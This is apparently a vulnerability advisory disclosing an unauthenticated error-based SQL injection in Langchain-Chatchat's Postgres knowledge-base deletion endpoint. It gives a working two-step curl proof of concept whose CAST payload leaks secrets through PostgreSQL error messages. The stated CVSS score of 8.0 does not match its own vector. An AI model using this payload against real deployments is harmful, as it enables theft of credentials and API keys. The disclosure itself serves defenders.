[SECURITY] Error-based SQL Injection in PG do_drop_kb leaks arbitrary database field values (CWE-89, CVSS 8.0)

Author: Jiecub3Created Sep 22, 2026Updated Sep 22, 2026

Langchain-Chatchat PG do_drop_kb Error-Based SQL Injection

Summary

PGKBService.do_drop_kb() uses f-string to concatenate kb_name into a DELETE SQL statement executed via text(). The delete_kb handler's try/except catches PostgreSQL exceptions and echoes them back to the HTTP response msg field, constituting error-based SQL injection. An attacker uses CAST(secret AS int) to force PostgreSQL to throw an InvalidTextRepresentation exception, directly reading out the full value of any field in any table (secret/API key/token) in a single request, without character-by-character blind injection. Zero destruction (injection is in the DELETE WHERE subquery, no data is deleted).

Affected Version & Commit

Vulnerability Description

PGKBService.do_drop_kb() uses f-string to directly concatenate the kb_name parameter into a DELETE SQL statement, executed as raw SQL via SQLAlchemy text(). The delete_kb handler's try/except block catches PostgreSQL exceptions and echoes the exception message to the HTTP response's msg field.

An attacker uses CAST(secret AS int) to force PostgreSQL to throw an InvalidTextRepresentation exception. The exception message contains the original value of the converted field, allowing a single request to read out the complete value of any field in any table. Since the injection point is in the WHERE subquery of the DELETE statement, the main query does not delete any data (zero destruction).

Affected Endpoints

  • POST /knowledge_base/create_knowledge_base (registers injection payload, port 7861)
  • POST /knowledge_base/delete_knowledge_base (triggers injection, port 7861)

Exploitation Conditions

  • Exploitable with default configuration, no authentication required
  • Requires vs_type=pg (Postgres knowledge base backend)

Proof of Concept

bash
# Step 1: POST create_knowledge_base, kb_name=injection payload, register as KB name (load_kb_from_db uses ilike query, must register first)
curl -s -X POST http://127.0.0.1:7861/knowledge_base/create_knowledge_base \
  -H "Content-Type: application/json" \
  -d '{"knowledge_base_name":"poc\x27 AND (SELECT CAST((SELECT secret FROM victim_table_s003) AS int))=1-- ","vector_store_type":"pg","kb_info":"b","embed_model":"bge-large-zh-v1.5"}'
# Expected: {"code":200,"msg":"success"}  ← payload registered as KB name

# Step 2: POST delete_knowledge_base (body=JSON string), trigger do_drop_kb, f-string concatenates kb_name into DELETE SQL
curl -s -X POST http://127.0.0.1:7861/knowledge_base/delete_knowledge_base \
  -H "Content-Type: application/json" \
  --data-raw "\"poc\x27 AND (SELECT CAST((SELECT secret FROM victim_table_s003) AS int))=1-- \""
# Expected: {"msg":"...invalid input syntax for type integer: \"S003_ADMIN_CRED_a8f3\"..."}
#        ↑ CAST(secret AS int) forces PG exception, secret leaks verbatim from exception message

Tested: single request reads out complete secret S003_ADMIN_CRED_a8f3 from the PostgreSQL exception message.

Impact

An unauthenticated attacker can read the complete value of any field in any table in the database in a single request via error-based injection, including secrets, API keys, tokens, and other sensitive credentials. The injection process is zero-destruction — no data is deleted.

Severity

CVSS v3.1: 8.0 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CWE: CWE-89 (SQL Injection)

Credit

  • Jiecub3 (GitHub ID: 87791178)
  • Aur0ra-m (GitHub ID: 103031059)
  • lz2y (GitHub ID: 55266300)

Source: chatchat-space/Langchain-Chatchat